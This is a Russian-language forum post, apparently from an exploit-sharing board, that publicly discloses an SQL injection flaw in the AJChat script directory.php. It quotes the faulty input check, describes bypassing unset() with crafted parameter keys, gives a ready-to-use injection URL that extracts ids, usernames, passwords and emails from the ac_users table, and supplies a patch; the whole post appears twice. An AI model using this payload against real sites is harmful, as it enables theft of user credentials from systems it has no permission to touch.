gemaglabin
06.04.2007, 18:07
В связи с отсуствием нормального применения баги , а именно в таблице хранятся только юзеры , выкладываю в паблик
Файл directory.php , самое начало кода
if (isset($_GET["s"])){
$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
// nothing
}else unset($_GET['s']);
}
По задумке програмистов - если введенные данные не в пределах от a..z то unset() переменной - вычисляем ключи для php4 и для php5 и эксплуатируем
directory.php?s='and1=2union select concat_ws(char(59),id,username,password,email),nul l+from+ac_users/*&5861526=1&5863704=1
Вендор : http://ajchat.sourceforge.net/
Решение
if (isset($_GET["s"])){
$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
// nothing
}else
{
$_GET['s'] = NULL;
unset($_GET['s']);
}
Файл directory.php , самое начало кода
if (isset($_GET["s"])){
$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
// nothing
}else unset($_GET['s']);
}
По задумке програмистов - если введенные данные не в пределах от a..z то unset() переменной - вычисляем ключи для php4 и для php5 и эксплуатируем
directory.php?s='and1=2union select concat_ws(char(59),id,username,password,email),nul l+from+ac_users/*&5861526=1&5863704=1
Вендор : http://ajchat.sourceforge.net/
Решение
if (isset($_GET["s"])){
$_GET["s"] = strtoupper($_GET["s"]);
if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){
// nothing
}else
{
$_GET['s'] = NULL;
unset($_GET['s']);
}